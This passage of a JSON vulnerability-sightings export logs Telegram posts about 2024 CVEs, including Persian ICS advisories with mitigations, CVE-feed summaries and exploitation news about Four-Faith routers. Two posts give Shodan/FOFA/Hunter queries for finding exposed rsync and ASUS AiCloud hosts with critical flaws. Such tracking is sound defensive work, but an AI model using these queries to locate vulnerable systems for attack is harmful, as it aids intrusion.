\u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u0627\u06cc \u0647\u0645\u0647 \u0686\u0646\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a\u06cc\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u0627\u06cc\u062f \u0646\u0642\u0627\u0637 \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0627 \u06a9\u0647 \u0645\u0628\u062f\u0644\u200c\u0647\u0627\u06cc Moxa \u0628\u0647 \u0622\u0646\u0647\u0627 \u0645\u062a\u0635\u0644 \u0647\u0633\u062a\u0646\u062f\u060c \u0647\u06a9 \u06a9\u0646\u0646\u062f \u06cc\u0627 \u0648\u0627\u0631\u062f \u0628\u062e\u0634 \u0634\u0628\u06a9\u0647 \u0645\u062d\u0644\u06cc \u0634\u0648\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0622\u0646\u062c\u0627 \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0647\u0633\u062a\u0646\u062f.\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\n\u0627\u062f\u0645\u06cc\u0646:\nhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert", "creation_timestamp": "2024-03-12T16:09:25.000000Z"}, {"uuid": "a7b9eeaa-7d29-46d5-8a25-df568c921e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/996", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0645\u062c\u0648\u0632 \u0641\u0631\u06cc\u0645\u0648\u0631 \u0628\u0631\u0627\u06cc \u0633\u0648\u0626\u06cc\u0686\u200c\u0647\u0627\u06cc Moxa EDS-508A \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0642\u0635 \u062f\u0631 \u0645\u06a9\u0627\u0646\u06cc\u0633\u0645 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc/\u062a\u0623\u06cc\u06cc\u062f \u0647\u0648\u06cc\u062a \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a.  \n\u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0627\u0632 \u0637\u0631\u06cc\u0642 brute force \u06cc\u0627 \u062d\u0645\u0644\u0647 \u0628\u0631\u062e\u0648\u0631\u062f MD5 \u0628\u0631\u0627\u06cc \u062c\u0639\u0644 \u0647\u0634\u200c\u0647\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\n BDU: 2025-00371\n CVE-2024-12297\n\n \u0646\u0635\u0628 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f  \u060c \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n - \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627 \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a)\u061b\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0644\u06cc\u0633\u062a \u0633\u0641\u06cc\u062f \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IP \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631.\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062a\u0631\u0644 \u0646\u0634\u062f\u0647 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0647\u0627 \u0628\u0647 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631.\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u062a\u0634\u062e\u06cc\u0635 \u0646\u0641\u0648\u0630 \u0648 \u067e\u06cc\u0634\u06af\u06cc\u0631\u06cc (IDS/IPS) \u0628\u0631\u0627\u06cc \u0646\u0638\u0627\u0631\u062a \u0628\u0631 \u062a\u0644\u0627\u0634 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627.\n\n \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647 \u0647\u0627\u06cc \u0633\u0627\u0632\u0646\u062f\u0647:\n https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241407-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-in-eds-508a-series\n\n\ud83d\udc48 \u0646\u0638\u0631\u0627\u062a \u0648 \u062a\u062c\u0631\u0628\u06cc\u0627\u062a \u0634\u0645\u0627 \u0627\u0631\u0632\u0634\u0645\u0646\u062f \u0627\u0633\u062a - \u0644\u0637\u0641\u0627 \u0622\u0646\u0631\u0627 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33", "creation_timestamp": "2025-01-21T16:07:29.000000Z"}, {"uuid": "081b07a1-bc81-4b56-bdae-06b809cfc706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://t.me/ics_cert/984", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0631\u0627\u0628\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 Rockwell Automation PowerMonitor 1000 \u0633\u06cc\u0633\u062a\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062f\u0633\u062a\u06af\u0627\u0647 \u0646\u0638\u0627\u0631\u062a \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0634\u0628\u06a9\u0647 \u0627\u0644\u06a9\u062a\u0631\u06cc\u06a9\u06cc \u0628\u0647 \u062f\u0644\u06cc\u0644 \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u0627\u06cc\u062c\u0627\u062f \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u0645\u0645\u062a\u0627\u0632 \u0628\u0627 \u062f\u0648\u0631 \u0632\u062f\u0646 \u0645\u06a9\u0627\u0646\u06cc\u0633\u0645 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0633\u062a. \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a API \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648\u06cc\u0698\u0647 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 Policyholder (\u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0645\u062f\u06cc\u0631\u06cc\u062a \u0633\u06cc\u0627\u0633\u062a \u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc) \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0645\u0644 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\nBDU: 2024-11389\nCVE-2024-12371\n\n\u0646\u0635\u0628 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f\n \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647\u061b\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0644\u06cc\u0633\u062a \"\u0633\u0641\u06cc\u062f\" \u0627\u0632 \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IP \u0628\u0631\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u062f\u0647\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0647 \u062f\u0633\u062a\u06af\u0627\u0647.\n- \u067e\u06cc\u06af\u06cc\u0631\u06cc \u062a\u0644\u0627\u0634 \u0647\u0627\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062c\u062f\u06cc\u062f\u061b\n- \u062a\u0642\u0633\u06cc\u0645 \u0628\u0646\u062f\u06cc \u0634\u0628\u06a9\u0647 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0628\u062e\u0634 \u0635\u0646\u0639\u062a\u06cc \u0627\u0632 \u0632\u06cc\u0631\u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631.\n- \u0645\u062d\u062f\u0648\u062f\u06cc\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0635\u0646\u0639\u062a\u06cc \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc (\u0627\u06cc\u0646\u062a\u0631\u0646\u062a).\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0645\u062c\u0627\u0632\u06cc \u0628\u0631\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u062f\u0647\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (VPN).\n\n\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647 \u0647\u0627:\nhttps://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1714.html\n\u26a0\ufe0f\u0628\u06cc\u0627\u0646\u06cc\u0647 \u0633\u0644\u0628 \u0645\u0633\u0626\u0648\u0644\u06cc\u062a\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33", "creation_timestamp": "2024-12-27T20:39:49.000000Z"}, {"uuid": "6729c1a6-8f9c-4483-bc3a-a5d5151de6e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "Telegram/eU5TW0NrIabaH627FpFKhEBuxk5i4RkIq4T6rxIMq7cGCQ", "content": "", "creation_timestamp": "2025-03-05T22:29:05.000000Z"}, {"uuid": "53ccbc49-7cde-42a6-92c7-44b967ebfbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/BleepingComputer/21269", "content": "\u200aHackers exploit Four-Faith router flaw to open reverse shells\n\nThreat actors are exploiting a post-authentication remote command injection vulnerability in Four-Faith routers tracked as CVE-2024-12856 to open reverse shells back to the attackers. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-four-faith-router-flaw-to-open-reverse-shells/", "creation_timestamp": "2024-12-30T21:07:11.000000Z"}, {"uuid": "dcc8d827-ff3d-465b-b3bd-fbbf49487fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://t.me/cvedetector/17850", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12315 - WordPress Export All Posts, Products, Orders, Refunds & Users Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12315 \nPublished : Feb. 12, 2025, 9:15 a.m. | 1\u00a0hour, 37\u00a0minutes ago \nDescription : The Export All Posts, Products, Orders, Refunds & Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.9.3 via the exports directory. This makes it possible for unauthenticated attackers to extract sensitive data stored insecurely in the /wp-content/uploads/smack_uci_uploads/exports/ directory which can contain information like exported user data. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T12:41:57.000000Z"}, {"uuid": "1b981114-aef8-47f1-a9e5-4a9fb0934d1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "Telegram/kU-2l9H1kspMcRgPs3LrTl2vGKQ7CJ4qL6iJZziYd1Gfl2Np", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "b8237e27-ea4a-498c-9c2d-a5c5f02d7763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12629", "type": "seen", "source": "https://t.me/cvedetector/17894", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12629 - Telerik KendoReact Prototype Pollution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12629 \nPublished : Feb. 12, 2025, 4:15 p.m. | 46\u00a0minutes ago \nDescription : In Progress\u00ae Telerik\u00ae KendoReact versions v3.5.0 through v9.4.0, an attacker can introduce or modify properties within the global prototype chain which can result in denial of service or command injection. \nSeverity: 4.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T18:33:31.000000Z"}, {"uuid": "6d11ddee-8f6d-43fd-912f-518cfc4fb48d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://t.me/cvedetector/17969", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12586 - Chalet-Montagne.com Tools WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12586 \nPublished : Feb. 13, 2025, 6:15 a.m. | 1\u00a0hour, 13\u00a0minutes ago \nDescription : The Chalet-Montagne.com Tools WordPress plugin through 2.7.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T08:47:53.000000Z"}, {"uuid": "a3007930-4d3d-4577-a606-a7c34b492e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/49", "content": "\u26a0\ufe0f Alert \u26a0\ufe0f \n\nCVE-2024-12084(CVSS 9.8) : Heap overflow that could lead to remote code execution\n\n\ud83d\udd17Hunter Link:hunter.how/list?searchVal\u2026\n\n\ud83d\udc47 Query\nHUNTER : product.name=\"rsync\"\nFOFA : product=\"rsync\"\nSHODAN : product:\"rsyncd\"\n\n\ud83d\udcf0 Refer:access.redhat.com/security/cve/C\u2026\n\nsecurityonline.info/cve-2024-12084\u2026\n\nsysdig.com/blog/detecting\u2026\n\n#RSYNC#hunterhow #infosec #infosecurity #OSINT #Vulnerability", "creation_timestamp": "2025-01-20T19:09:53.000000Z"}, {"uuid": "d5db6f66-a318-40b2-a2cd-9237c106d12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/cybersecplayground/13", "content": "CVE-2024-12912&CVE-2024-13062 \n:Injection and execution vulnerabilities in certain ASUS router firmware series.\n\ud83d\udcca 1.2m+ Services are found on hunter.how yearly.\n\ud83d\udd17Hunter Link: hunter.how/list?searchVal\u2026\n\ud83d\udc47Query\nHUNTER :/product.name=\"ASUS AiCloud\"\nFOFA : product=\"ASUS-AiCloud\"\nSHODAN : product:\"ASUS AiCloud\"\n\ud83d\udcf0Refer:securityonline.info/cve-2024-12912\u2026\nasus.com/content/asus-p\u2026\n#ASUS #hunterhow #infosec #infosecurity #OSINT #Vulnerability", "creation_timestamp": "2025-07-19T19:48:50.000000Z"}, {"uuid": "d84fa986-22a6-4585-857b-4f2298f1e595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12379", "type": "seen", "source": "https://t.me/cvedetector/17903", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12379 - GitLab Denial of Service (DoS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12379 \nPublished : Feb. 12, 2025, 3:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : A denial of service vulnerability in GitLab CE/EE affecting all versions from 14.1 prior to 17.6.5, 17.7 prior to 17.7.4, and 17.8 prior to 17.8.2 allows an attacker to impact the availability of GitLab via unbounded symbol creation via the scopes parameter in a Personal Access Token. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T18:33:45.000000Z"}, {"uuid": "87a3ede6-4caf-4668-82a8-72fa691749ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/CyberBulletin/1930", "content": "\u26a1\ufe0fCVE-2024-12912 & CVE-2024-13062: ASUS Routers at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-03T06:34:25.000000Z"}, {"uuid": "262c15ef-1943-4202-9354-67cc280ea339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12251", "type": "seen", "source": "https://t.me/cvedetector/17902", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12251 - Telerik UI for WinUI Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12251 \nPublished : Feb. 12, 2025, 3:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : In Progress\u00ae Telerik\u00ae UI for WinUI versions prior to 2025 Q1 (3.0.0), a command injection attack is possible through improper neutralization of hyperlink elements. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T18:33:44.000000Z"}, {"uuid": "a761eb07-64e6-4f65-b547-c5973f9d38be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://t.me/CyberBulletin/1891", "content": "\u26a1\ufe0fCVE-2024-12108 (CVSS 9.6) and Beyond: Progress Issues Critical Patch for WhatsUp Gold Network Monitoring Software.\n\n#CyberBulletin", "creation_timestamp": "2025-01-02T12:15:09.000000Z"}, {"uuid": "8f89245d-0dec-4013-a568-34eaa8a3e4b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/1865", "content": "\u26a1\ufe0fFour-Faith Industrial Routers Under Attack: CVE-2024-12856 Exploited in the Wild.\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T13:08:06.000000Z"}, {"uuid": "cd121ee6-0aa5-48f5-ab66-cb9e5326d816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/1856", "content": "\u26a1\ufe0f15,000+ Four-Faith routers are exposed, with attackers actively exploiting a command injection flaw (CVE-2024-12856).\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T04:56:53.000000Z"}, {"uuid": "8fc3de5d-ef1c-46ab-8c5d-6ecade2da165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": 